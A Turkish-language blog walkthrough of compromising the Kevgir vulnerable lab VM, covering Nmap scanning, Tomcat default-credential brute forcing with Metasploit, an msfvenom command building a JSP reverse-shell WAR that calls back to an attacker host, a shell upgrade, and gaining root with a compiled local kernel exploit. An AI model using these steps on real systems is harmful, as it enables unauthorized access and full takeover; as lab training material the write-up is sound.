October 26, 2016

Kevgir VM Sızma Testi ve Yetki Yükseltme Aşamaları

Bu yazıda canyoupwn.me ekibinden Robinin hazırladığı Kevgir adlı sanal makineye sızarak daha sonra yetki yükseltme aşamaları ile bir sızma testi senaryosu inceleyeceğiz.Öncelikle https://canyoupwn.me/kevgir-vulnerable-vm/ adresinden Kevgiri indirerek bir sanal makinede açıyoruz.Lafı çok uzatmadan konuya gireyim :) Eğer Linux,Nmap ve Metasploit gibi konulara hakim değil iseniz daha önceden hazırlamış olduğum  Temel  Ağ Sızma Testine Giriş dökümanıma göz atıp yazıyı okumanız daha faydalı olur.

0

Nmap ile keşif taramasına başlıyoruz.Çalışan servisleri ve versiyonları tespit ettikten sonra bu servisleri ve versiyonları detaylıca araştırarak bir zaafiyet varmı exploit db de yada başka site ve bloglarda bir şey varsa o hedef üzerinden sızmaya çalışılır.Bu makinede birden fazla açıklık bulunmakta fakat ben Tomcat üzerinden gideceğim.

1

Metasploiti açarak tomcat ile ilgili auxiliary ve exploitleri arıyoruz.

2

İlk olarak tomcat_mgr_login auxiliary ile tomcat servisinin default şifrelerini deniyoruz.Amacımız brute force yöntemi ile kullanıcı adı ve şifresini tespit etmek.

3

Görüldüğü üzere kullanıcı adı tomcat ve şifresi tomcat olarak tespit ettik.Genelde bir çok servis kurulum sırasındaki default şifreleri kullanmakta ve bu çok büyük riskler oluşturmakta.Mutlaka kurulum sırasında yada sonrasında kullanıcı adı ve şifresini değiştiriniz.

4

Kullanıcı adı ve şifresini tespit ettikten sonra tomcat_mgr_upload exploitini kullanarak sisteme sızmaya çalışıyoruz.Tabi 192.168.237.137:8080/manager adresi ile tarayıcıdan tomcat a giriş yaparak shellde atabilirsiniz.Farklı yollar ve yöntemler mevcut.Exploitin çalışması için gerekli parametreleri set ettikten sonra exploitimizi çalıştırıyoruz ve meterpreter e düşmüş bulunmaktayız.

5

Şimdi bir başka yol ile web adresi üzerinden bulduğumu kullanıcı adı ve şifre ile login olarak msfvenom ile backdoor oluşturup bu backdoor yardımı ile shell almayı göstereceğim.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.237.128 LPORT=4444 -f war > /root/Desktop/shell.war

ile shell.war adında jsp backdoor u oluşturuyoruz.

jar -xvf shell.war komutu ile shell.war içindekileri dışarı çıkarıp dosyaları görebilmekteyiz. Yükledikten sonra açacağımız jsp dosyasının adı önemli.

192.168.237.137:8080/manager/ adresini tarayıcıdan girerek tomcat in web arayüzüne girebiliriz.girişte kullanıcı adı ve şifresi sorulacak biraz önce yukarıda elde ettiğimiz tomcat:tomcar kullanıcı adı ve şifresi ile erişebileceğiz.

Giriş yaptıkdan sonra tomcatin içinden wat dosyamızı upload adarak bacdoorumuzu sisteme yüklüyoruz.

Dosyamızı yükledikden sonra metasploite girerek backdoorumuzu çalıştırmadan önce gerekli nodulümüze bağlanacağımız bacdoor payloadımızı ve bilgilerimizi giriyoruz.

Bu noktadan sonra tek yapmamız gereken 192.168.237.137:8080/shell/hoxafoxvkhn.jsp adresimizi tarayıcadan girerek backdoorumuzu çalıştırıp metasploit ile shell açmak.

Yukarıda gördüğünüz gibi shell açıldı.Bu senaryoda hem metasploit modülü ile hemde kendi backdoorumuzu web arayüzünden yükleyerek iki farklı yoldan shell aldık.Bu aşamadan sonra Privileges Escalation ve Post Exploitation aşamaları gerçekleştirmemiz gerekmektedir.Şimdi dönelim meterpreter komut satırından sonra yapacaklarımıza.

Meterpreter komut satırında shell yazarak linux komut satırına düşüyoruz.Fakat buradaki komut satırı etkilişimli değil.Bu demek oluyor ki girdi bekleyen linux komutlarını çalıştıramıyoruz.Mesala kullanıcı değiştirirken sudo su komutunu girdikten sonra şifre girdisi istiyor bu shell buna imkan vermiyor.

6

python -c ‘import pty; pty.spawn(“/bin/sh”)’  yazarak shellimizi etkileşimli shelle çeviriyoruz.Resimdede gördüğünüz gibi artık $ işareti geldi.home dizinine giderek orada user ve admin olarak iki kullanıcı olduğunu gördük.Şimdi buradaki admin kullanıcısı aklınızı karıştırmasın.Ali,Ahmet gibi bir kullanıcı yetkili bir kullanıcı değil linuxta en yetkili kullanıcı root tur.Bu sistemdede hedefimiz root olmak.Şimdi burdaki admin kullanıcısına geçmeye çalışacağız.Aynı tomcatde default şifreler denendiği gibi admin kullanıcısının şifreside en çok kullanılan bir kaç şifre denedim.123456,password,admin gibi bunlardan admin admin kullanıcısının şifresi ise ve admine geçtik.

7

Şimdi uname -a komutu ile sistemin çekirdek bilgisini öğrendik.14.04.1 Ubuntu çalışmakta.Şuan admin kullanıcısındayız yapacağımız işlemler kısıtlı bunun için root kullanıcısına geçmemiz gerekmekte.Bunun içinde Local Root Exploitler bulunmakta şansımıza var ise bu exploit türünü çalıştırırak bulunduğunuz kullanıcıdan root kullanıcısına geçmemizi sağlamakta.

8

Googleda şöyle bir arama yaparak Local Root Exploitimizi buluyoruz.

9

 

Bulduğumuz exploiti kopyalayarak shell aldığımız terminalde bir .c dosyası açarak içine yapıştırıyoruz.Yada başa bir şekilde bu exploit dosyasını shell aldığımız makinaya yüklüyoruz.

10

Burada vim ile localexploit.c adında bir dosya oluşturuyoruz ve içine kopyaladığımız exploiti yapıştırıyoruz.Yapıştırıken CTRL+SHIFT+V tuş kombinasyonunu kullanabilirsiniz.

11

Yapıştırdıktan sonra vimde ESC ye basarak :wq komutu ile dosyamızı kaydetip çıkıyoruz.

12

Dosyamızı kaydetip çıktıktan sonra gcc localexploit.c komutu ile c kodumuzu derliyoruz.Ve bize derlenmiş olarak a.out çıktısını veriyor.Bunuda ./a.out komutu ile çalıştırdığımızda sistemde root kullanıcısına geçiyoruz.Bundan sonra sistemde istediğiniz her şeyi yapabilirsiniz.Sınırsız yetkiye sahipsiniz.